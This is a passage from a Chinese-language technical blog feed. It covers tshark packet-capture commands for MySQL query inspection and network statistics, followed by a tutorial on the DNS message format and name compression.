tshark -r .&amp;#x2F;mysql-compress.cap -o tcp.calculate_timestamps:true \
-T fields -e mysql.caps.cp -e frame.number \
-e frame.time_epoch  -e frame.time_delta_displayed  \
-e ip.src -e tcp.srcport -e tcp.dstport -e ip.dst \
-e tcp.time_delta -e frame.time_delta_displayed \
-e tcp.stream -e tcp.len -e mysql.query
&amp;#x2F;&amp;#x2F;抓取详细SQL语句, 快速确认client发过来的具体SQL内容：
sudo tshark -i any -f &amp;#x27;port 3306&amp;#x27; -s 0 -l -w - |strings
sudo tshark -i eth0 -d tcp.port==3306,mysql -T fields -e mysql.query &amp;#x27;port 3306&amp;#x27;
dfaf
sudo tshark -i eth0 -Y &amp;quot;ip.addr==11.163.182.137&amp;quot; -d tcp.port==3306,mysql -T fields -e mysql.query &amp;#x27;port 3306&amp;#x27;
sudo tshark -i eth0 -Y &amp;quot;tcp.srcport==62877&amp;quot; -d tcp.port==3001,mysql -T fields -e tcp.srcport -e mysql.query &amp;#x27;port 3001&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;cha-kan-qing-qiu-mu-biao-xin-xi&quot;&gt;查看请求目标信息&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;tshark -r wechat.pcap -o &amp;#x27;gui.column.format:&amp;quot;Source Net Addr&amp;quot;,&amp;quot;%uns&amp;quot;,&amp;quot;Dest Net Addr&amp;quot;, &amp;quot;%und&amp;quot;&amp;#x27; -Y &amp;quot;ip&amp;quot; | sort | uniq
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;cha-kan-diu-bao-dai-kuan-tun-tu-yan-chi&quot;&gt;查看丢包、带宽、吞吐、延迟&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&amp;#x2F;&amp;#x2F; 统计 ip 情况
tshark -r wechat.pcap -q -z conv,ip

&amp;#x2F;&amp;#x2F; 跟踪一条流打印 16进制数据
tshark -r wechat.pcap -q -z &amp;quot;follow,tcp,hex,0&amp;quot; 
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ji-suan-diu-bao-qing-kuang&quot;&gt;计算丢包情况&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;tshark -r wechat.pcap -q \
 -z io,stat,1,&amp;quot;COUNT(tcp.analysis.retransmission) tcp.analysis.retransmission&amp;quot;,&amp;quot;COUNT(tcp.analysis.fast_retransmission) tcp.analysis.fast_retransmission&amp;quot;,&amp;quot;COUNT(tcp.analysis.duplicate_ack) tcp.analysis.duplicate_ack&amp;quot;,&amp;quot;COUNT(tcp.analysis.lost_segment) tcp.analysis.lost_segment&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ji-suan-shang-xing-dai-kuan&quot;&gt;计算上行带宽&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;tshark -o tcp.desegment_tcp_streams:TRUE -n \
  -q -r  .&amp;#x2F;wechat.pcap \
  -z io,stat,99999999,&amp;quot;BYTES()(ip.src!=10.0.0.0&amp;#x2F;8 and ip.src!=172.16.0.0&amp;#x2F;12 and ip.src!=192.168.0.0&amp;#x2F;16)&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ji-suan-tcp-rtt&quot;&gt;计算 TCP RTT&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;tshark -o tcp.desegment_tcp_streams:TRUE -n \
  -q -r  .&amp;#x2F;wechat.pcap  -z \
  io,stat,99999999,&amp;quot;AVG(tcp.analysis.ack_rtt)tcp.analysis.ack_rtt&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;fen-xi-tcp-stream-id-wei-0-de-chuan-shu-dai-kuan&quot;&gt;分析 tcp.stream id 为 0 的传输带宽&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;tshark -o tcp.desegment_tcp_streams:FALSE -n \
  -q -r wechat.pcapng -z io,stat,1,&amp;quot;BYTES()tcp.stream==0&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;kiosk007.top&#x2F;post&#x2F;%E7%8E%A9%E8%BD%AC-tshark-%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%B7%A5%E5%85%B7&#x2F;&quot;&gt;玩转tshark命令行工具&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>dns报文格式</title>
        <published>2025-08-12T15:11:42+08:00</published>
        <updated>2025-08-12T15:11:42+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/08/dns报文格式/"/>
        <id>https://vercel.juzhong.asia/2025/08/dns报文格式/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/08/dns报文格式/">&lt;h1 id=&quot;dnsbao-wen-ge-shi&quot;&gt;DNS报文格式&lt;&#x2F;h1&gt;
&lt;p&gt;经过前面学习，我们知道查询一个域名，需要与 DNS 服务器进行通信。那么，DNS 通信过程大概是怎样的呢？&lt;&#x2F;p&gt;
&lt;p&gt;DNS 是一个典型的 Client-Server 应用，客户端发起域名查询请求，服务端对请求进行应答：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;08&#x2F;dns%E6%8A%A5%E6%96%87%E6%A0%BC%E5%BC%8F&#x2F;assets&#x2F;network-asset-ba987b1fa1b0168df88331eee7bfa7e058a4cfb6-20250812133907-y57418z.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;DNS 一般采用 UDP 作为传输层协议（ TCP 亦可），端口号是 53 。请求报文和应答报文均作为数据，搭载在 UDP 数据报中进行传输：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;08&#x2F;dns%E6%8A%A5%E6%96%87%E6%A0%BC%E5%BC%8F&#x2F;assets&#x2F;network-asset-4e9f63a16c60af3fc49a951154a2f3d2c0f21f98-20250812133908-fajlv1b.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;很显然，DNS 请求报文和应答报文均需要满足一定的格式，才能被通信双方所理解。这就是 DNS 协议负责的范畴，它位于传输层之上，属于 &lt;strong&gt;应用层&lt;&#x2F;strong&gt; 协议。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bao-wen-ge-shi&quot;&gt;报文格式&lt;&#x2F;h2&gt;
&lt;p&gt;DNS 报文分为 &lt;strong&gt;请求&lt;&#x2F;strong&gt; 和 &lt;strong&gt;应答&lt;&#x2F;strong&gt; 两种，结构是类似的，大致分为五部分：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;头部（ &lt;em&gt;header&lt;&#x2F;em&gt; ），描述报文类型，以及其下 4 个小节的情况；&lt;&#x2F;li&gt;
&lt;li&gt;问题节（ &lt;em&gt;question&lt;&#x2F;em&gt; ），保存查询问题；&lt;&#x2F;li&gt;
&lt;li&gt;答案节（ &lt;em&gt;answer&lt;&#x2F;em&gt; ），保存问题答案，也就是查询结果；&lt;&#x2F;li&gt;
&lt;li&gt;授权信息节（ &lt;em&gt;authority&lt;&#x2F;em&gt; ），保存授权信息；&lt;&#x2F;li&gt;
&lt;li&gt;附加信息节（ &lt;em&gt;additional&lt;&#x2F;em&gt; ），保存附加信息；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;也有不少文献将 DNS 请求称为 DNS ​&lt;strong&gt;查询&lt;&#x2F;strong&gt;​（ query ），两者是一个意思。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;08&#x2F;dns%E6%8A%A5%E6%96%87%E6%A0%BC%E5%BC%8F&#x2F;assets&#x2F;network-asset-bb5146dfd61519aebc02722d4e62acaa1aba94e0-20250812133909-zzh3tol.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;其中，头部是固定的，共 12 字节；其他节不固定，记录数可多可少，数目保存在头部中。头部分为 6 个字段：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;标识&lt;&#x2F;strong&gt;​（ &lt;em&gt;identifier&lt;&#x2F;em&gt; ），一个 16 位的 ID ，在应答中原样返回，以此匹配请求和应答；&lt;&#x2F;li&gt;
&lt;li&gt;​&lt;strong&gt;标志&lt;&#x2F;strong&gt;​（ &lt;em&gt;flags&lt;&#x2F;em&gt; ），一些标志位，共 16 位；&lt;&#x2F;li&gt;
&lt;li&gt;​&lt;strong&gt;问题记录数&lt;&#x2F;strong&gt;​（ &lt;em&gt;question count&lt;&#x2F;em&gt; ），一个 16 位整数，表示问题节中的记录个数；&lt;&#x2F;li&gt;
&lt;li&gt;​&lt;strong&gt;答案记录数&lt;&#x2F;strong&gt;​（ &lt;em&gt;answer count&lt;&#x2F;em&gt; ），一个 16 位整数，表示答案节中的记录个数；&lt;&#x2F;li&gt;
&lt;li&gt;​&lt;strong&gt;授权信息记录数&lt;&#x2F;strong&gt;​（ &lt;em&gt;authority record count&lt;&#x2F;em&gt; ），一个 16 位整数，表示授权信息节中的记录个数；&lt;&#x2F;li&gt;
&lt;li&gt;​&lt;strong&gt;附加信息记录数&lt;&#x2F;strong&gt;​（ &lt;em&gt;additional record count&lt;&#x2F;em&gt; ），一个 16 位整数，表示附加信息节中的记录个数；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;最后，我们来解释一下标志字段中的各个标志位：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;QR 位标记报文是一个查询请求，还是查询应答；&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;0 表示查询请求；&lt;&#x2F;li&gt;
&lt;li&gt;1 表示查询应答；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;操作码&lt;&#x2F;strong&gt;​（ &lt;em&gt;opcode&lt;&#x2F;em&gt; ）占 4 位，表示操作类型：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;0 代表标准查询；&lt;&#x2F;li&gt;
&lt;li&gt;1 代表反向查询；&lt;&#x2F;li&gt;
&lt;li&gt;2 代表服务器状态请求；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;AA 位表示 ​&lt;strong&gt;权威回答&lt;&#x2F;strong&gt;​（ &lt;em&gt;authoritative answer&lt;&#x2F;em&gt; ），意味着当前查询结果是由域名的权威服务器给出的；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;TC 位表示 ​&lt;strong&gt;截短&lt;&#x2F;strong&gt;​（ &lt;em&gt;truncated&lt;&#x2F;em&gt; ），使用 UDP 时，如果应答超过 512 字节，只返回前 512 个字节；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;RD 位表示 &lt;strong&gt;期望递归&lt;&#x2F;strong&gt; （ &lt;em&gt;recursion desired&lt;&#x2F;em&gt; ），在请求中设置，并在应答中返回；&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;该位为 1 时，服务器必须处理这个请求：如果服务器没有授权回答，它必须替客户端请求其他 DNS 服务器，这也是所谓的 &lt;strong&gt;递归查询&lt;&#x2F;strong&gt; ；&lt;&#x2F;li&gt;
&lt;li&gt;该位为 0 时，如果服务器没有授权回答，它就返回一个能够处理该查询的服务器列表给客户端，由客户端自己进行 &lt;strong&gt;迭代查询&lt;&#x2F;strong&gt; ；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;RA 位表示可递归（ &lt;em&gt;recursion available&lt;&#x2F;em&gt; ），如果服务器支持递归查询，就会在应答中设置该位，以告知客户端；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;保留位，这 3 位目前未用，留作未来扩展；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;响应码&lt;&#x2F;strong&gt;​（ &lt;em&gt;response code&lt;&#x2F;em&gt; ）占 4 位，表示请求结果，常见的值包括：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;0 表示没有差错；&lt;&#x2F;li&gt;
&lt;li&gt;3 表示名字差错，该差错由权威服务器返回，表示待查询的域名不存在；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;wen-ti-ji-lu&quot;&gt;问题记录&lt;&#x2F;h2&gt;
&lt;p&gt;客户端查询域名时，需要向服务端发送请求报文；待查询域名作为问题记录，保存在问题节中。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;08&#x2F;dns%E6%8A%A5%E6%96%87%E6%A0%BC%E5%BC%8F&#x2F;assets&#x2F;network-asset-4e3499436f3827644b71c9e392e2e5462cad6402-20250812133909-zdov2bk.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;问题节支持保存多条问题记录，记录条数则保存在 DNS 头部中的问题记录数字段。这意味着，DNS 协议单个请求能够同时查询多个域名，虽然通常只查询一个。&lt;&#x2F;p&gt;
&lt;p&gt;一个问题记录由 3 个字段组成：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;待查询域名&lt;&#x2F;strong&gt;​（ Name ），这个字段长度不固定，由具体域名决定；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;查询类型&lt;&#x2F;strong&gt;​（ Type ），域名除了关联 IP 地址，还可以关联其他信息，常见类型包括（下节详细介绍）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;1 表示 A 记录，即 IP 地址；&lt;&#x2F;li&gt;
&lt;li&gt;28 表示 AAAA 记录，即 IPv6 地址；&lt;&#x2F;li&gt;
&lt;li&gt;etc&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;类&lt;&#x2F;strong&gt; （ Class ）通常为 1 ，表示 TCP&#x2F;IP 互联网地址；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;最后，我们回过头来考察域名字段，它的长度是不固定的。域名按 &lt;code&gt;.&lt;&#x2F;code&gt;​ 切分成若干部分，再依次保存。每个部分由一个前导计数字节开头，记录当前部分的字符数。&lt;&#x2F;p&gt;
&lt;p&gt;以域名 &lt;code&gt;fasionchan.com.&lt;&#x2F;code&gt;​ 为例，以 &lt;code&gt;.&lt;&#x2F;code&gt;​ 切分成 3 个部分，&lt;code&gt;fasionchan&lt;&#x2F;code&gt;​ 、&lt;code&gt;com&lt;&#x2F;code&gt;​ 以及空字符串  。请注意，空字符串  代表根域。因此，待查询域名字段依次为：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;一个前导字节保存整数 10 ，然后 10 个字节保存 &lt;code&gt;fasionchan&lt;&#x2F;code&gt;​ 部分（二级域）；&lt;&#x2F;li&gt;
&lt;li&gt;一个前导字节保存整数 3 ，然后 3 个字节保存 &lt;code&gt;com&lt;&#x2F;code&gt;​ 部分（一级域）；&lt;&#x2F;li&gt;
&lt;li&gt;一个前导字节保存整数 0 ，然后 0 个字节保存 &lt;code&gt; &lt;&#x2F;code&gt;​ 部分（根域）；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;由此可见，每一级域名的长度理论上可以支持多达 255 个字符。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;查询类型&lt;&#x2F;th&gt;&lt;th&gt;名称代码&lt;&#x2F;th&gt;&lt;th&gt;描述&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;A&lt;&#x2F;td&gt;&lt;td&gt;IPv4地址&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;2&lt;&#x2F;td&gt;&lt;td&gt;NS&lt;&#x2F;td&gt;&lt;td&gt;名称服务器&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;5&lt;&#x2F;td&gt;&lt;td&gt;CNAME&lt;&#x2F;td&gt;&lt;td&gt;规范名称&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;15&lt;&#x2F;td&gt;&lt;td&gt;MX&lt;&#x2F;td&gt;&lt;td&gt;电子邮件交互&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;16&lt;&#x2F;td&gt;&lt;td&gt;TXT&lt;&#x2F;td&gt;&lt;td&gt;文本信息&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;28&lt;&#x2F;td&gt;&lt;td&gt;AAAA&lt;&#x2F;td&gt;&lt;td&gt;IPv6地址&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;查询类型这里先不展开，下一小节会详细介绍。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zi-yuan-ji-lu&quot;&gt;资源记录&lt;&#x2F;h2&gt;
&lt;p&gt;服务端处理查询请求后，需要向客户端发送应答报文；域名查询结果作为资源记录，保存在答案以及其后两节中。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;08&#x2F;dns%E6%8A%A5%E6%96%87%E6%A0%BC%E5%BC%8F&#x2F;assets&#x2F;network-asset-d9cdce4af72ec74a5795f1215be063c59253b883-20250812133910-ti3aoer.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;答案节、授权信息节和附加信息节均由一条或多条资源记录组成，记录数目保存在头部中的对应字段，不再赘述。&lt;&#x2F;p&gt;
&lt;p&gt;资源记录结构和问题记录非常相似，它总共有 6 个字段，前 3 个和问题记录完全一样：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;被查询域名&lt;&#x2F;strong&gt;​（ Name ），与问题记录相同；&lt;&#x2F;li&gt;
&lt;li&gt;​&lt;strong&gt;查询类型&lt;&#x2F;strong&gt;​（ Type ），与问题记录相同；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;类&lt;&#x2F;strong&gt; （ Class ），与问题记录相同；&lt;&#x2F;li&gt;
&lt;li&gt;​&lt;strong&gt;有效期&lt;&#x2F;strong&gt;​（ TTL ），域名记录一般不会频繁改动，所以在有效期内可以将结果缓存起来，降低请求频率；&lt;&#x2F;li&gt;
&lt;li&gt;​&lt;strong&gt;数据长度&lt;&#x2F;strong&gt;​（ Resource Data Length ），即查询结果的长度；&lt;&#x2F;li&gt;
&lt;li&gt;​&lt;strong&gt;数据&lt;&#x2F;strong&gt;​（ Resource Data ），即查询结果；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;如果查询类型是 A 记录，那查询结果就是一个 IP 地址，保存于资源记录中的数据字段；而数据长度字段值为 4 ，因为 IP 地址的长度为 32 位，折合 4 字节。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bao-wen-shi-li&quot;&gt;报文实例&lt;&#x2F;h2&gt;
&lt;p&gt;我们以 &lt;code&gt;test.fasionchan.com&lt;&#x2F;code&gt;​ 这个域名为例，来讲解 DNS 查询请求报文和应答报文。&lt;&#x2F;p&gt;
&lt;p&gt;执行 dig 命令即可查询该域名：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;dig test.fasionchan.com
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们对查询 &lt;code&gt;test.fasionchan.com&lt;&#x2F;code&gt;​ 的一次通信过程进行抓包，结果保存在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;coding-fans&#x2F;netcode&#x2F;blob&#x2F;master&#x2F;pcap&#x2F;dns-resolve.pcap&quot;&gt;Github&lt;&#x2F;a&gt; 上，以供参考。童鞋们可以将抓包结果下载到本地，并用 WireShark 打开，并结合讲解进行分析。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;qing-qiu-bao-wen&quot;&gt;请求报文&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;08&#x2F;dns%E6%8A%A5%E6%96%87%E6%A0%BC%E5%BC%8F&#x2F;assets&#x2F;network-asset-47d303ddf3f009f21c2311fa6380d530ef7647be-20250812133910-jqdtbeb.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;抓包结果请求报文只有头部、问题节和附加节，图解假设没有附加节。&lt;&#x2F;p&gt;
&lt;p&gt;先看头部，问题记录数为 1 ，其他记录数都是 0 。这意味着，请求报文只有问题节，而且问题节中只有一条问题记录，只查询一个域名。头部中的标志位分别如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;QR=0 ，表示该报文是一个请求报文；&lt;&#x2F;li&gt;
&lt;li&gt;操作码为 0 ，表示这个 DNS 请求是一个标准请求；&lt;&#x2F;li&gt;
&lt;li&gt;TC=0 ，表示请求报文没有被截短；&lt;&#x2F;li&gt;
&lt;li&gt;RD=1 ，表示客户端希望服务器可以执行递归查询；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;问题记录我们已经很熟悉了，不再赘述：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Type=1 ，表示客户端希望查询 A 记录，即与域名关联的 IP 地址；&lt;&#x2F;li&gt;
&lt;li&gt;Class=1 ，代表 TCP&#x2F;IP 互联网；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;ying-da-bao-wen&quot;&gt;应答报文&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;08&#x2F;dns%E6%8A%A5%E6%96%87%E6%A0%BC%E5%BC%8F&#x2F;assets&#x2F;network-asset-8d0bc56b7cc6375c38d9ae45907f4bb330a674a7-20250812133910-p4oredg.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;抓包结果应答报文只有头部、问题节和答案节。其中，问题节中的问题记录与请求报文一样，图中就不展开了。&lt;&#x2F;p&gt;
&lt;p&gt;先看头部，问题记录数为 1 ，答案记录数也是 1 ，其他记录数都是 0 。这意味着，应答报文只有问题节和答案节，而且它们各自只有一条记录。头部中的标志位分别如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;QR=1 ，表示该报文是一个应答报文；&lt;&#x2F;li&gt;
&lt;li&gt;操作码为 0 ，表示这个 DNS 请求是一个标准请求；&lt;&#x2F;li&gt;
&lt;li&gt;AA=0 ，表示结果不是由域名的权威服务器返回的，因为查询对象是本地的 DNS 缓存服务器（如果是向权威服务器发起查询，它返回的应答报文 AA=1 ）；&lt;&#x2F;li&gt;
&lt;li&gt;TC=0 ，表示应答报文没有被截短；&lt;&#x2F;li&gt;
&lt;li&gt;RD=1 ，与请求报文保持一致，略；&lt;&#x2F;li&gt;
&lt;li&gt;RA=1 ，表示服务端支持递归查询；&lt;&#x2F;li&gt;
&lt;li&gt;响应码为 0 ，表示查询成功，没有出错；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;答案节中的资源记录就是查询结果，前 3 个字段与问题记录一样，不再赘述。&lt;&#x2F;p&gt;
&lt;p&gt;TTL 字段是一个整数，表示有效期，单位是秒。例子中的查询结果，有效期是752秒，即 12 分 32 秒。也就是说，查询结果从现在开始算，12分32秒内均有效，无须重新请求。&lt;&#x2F;p&gt;
&lt;p&gt;查询结果是一个 IP 地址，长度为 4 个字节，保存在资源数据字段中。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yu-ming-ya-suo&quot;&gt;域名压缩&lt;&#x2F;h2&gt;
&lt;p&gt;我们注意到，应答报文中，会将请求报文中的问题记录原样返回。由于问题记录和资源记录都会保存域名，这意味着域名会被重复保存，而报文尺寸是有限的！&lt;&#x2F;p&gt;
&lt;p&gt;为了节约报文空间，有必要解决域名重复保存问题，这也是所谓的信息压缩。具体做法如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;08&#x2F;dns%E6%8A%A5%E6%96%87%E6%A0%BC%E5%BC%8F&#x2F;assets&#x2F;network-asset-cc3443b23ce09285fa308acd14b0a2ad3b5e120f-20250812133910-n7m6acb.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;域名在报文中第二次出现时，只用两个字节来保存。第一个字节最高两位都是 &lt;code&gt;1&lt;&#x2F;code&gt;​ ，余下部分和第二个字节组合在一起，表示域名第一次出现时在报文中的偏移量。通过这个偏移量，就可以找到对应的域名。&lt;&#x2F;p&gt;
&lt;p&gt;由此一来，原来需要 21 个字节来保存的域名，现在只需区区两个字节即可搞定，数据量大大降低！&lt;&#x2F;p&gt;
&lt;p&gt;实际上，域名压缩机制还可以针对域名的某个部分进行。举个例子，假设一个请求报文同时查询两个域名：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;code&gt;fasionchan.com&lt;&#x2F;code&gt;​&lt;&#x2F;li&gt;
&lt;li&gt;​&lt;code&gt;test.fasionchan.com&lt;&#x2F;code&gt;​&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;请求报文中包含两个问题记录，分别对应域名 &lt;code&gt;fasionchan.com&lt;&#x2F;code&gt;​ 和 &lt;code&gt;test.fasionchan.com&lt;&#x2F;code&gt;​ 。这两个域名都有一个公共后缀 &lt;code&gt;fasionchan.com&lt;&#x2F;code&gt;​ ，无须重复保存。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;08&#x2F;dns%E6%8A%A5%E6%96%87%E6%A0%BC%E5%BC%8F&#x2F;assets&#x2F;network-asset-ceafe083c60abfa6a0b4882eff59007761dc10bc-20250812133911-0zhti5v.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如上图，第二个域名只需保存 &lt;code&gt;test&lt;&#x2F;code&gt;​ 部分，然后接两个字节特殊的压缩字节，指向第一个问题记录中的 &lt;code&gt;fasionchan.com&lt;&#x2F;code&gt;​ 。如果两条问题记录顺序颠倒，结果也是类似的，留待童鞋们自行思考。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h1&gt;
&lt;p&gt;此文档是一个拷贝&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;fasionchan.com&#x2F;network&#x2F;dns&#x2F;packet-format&#x2F;&quot;&gt;dns格式解析&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>gdb调试信息分离</title>
        <published>2025-08-12T10:19:42+08:00</published>
        <updated>2026-08-26T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/08/gdb调试信息分离/"/>
        <id>https://vercel.juzhong.asia/2025/08/gdb调试信息分离/</id>
        
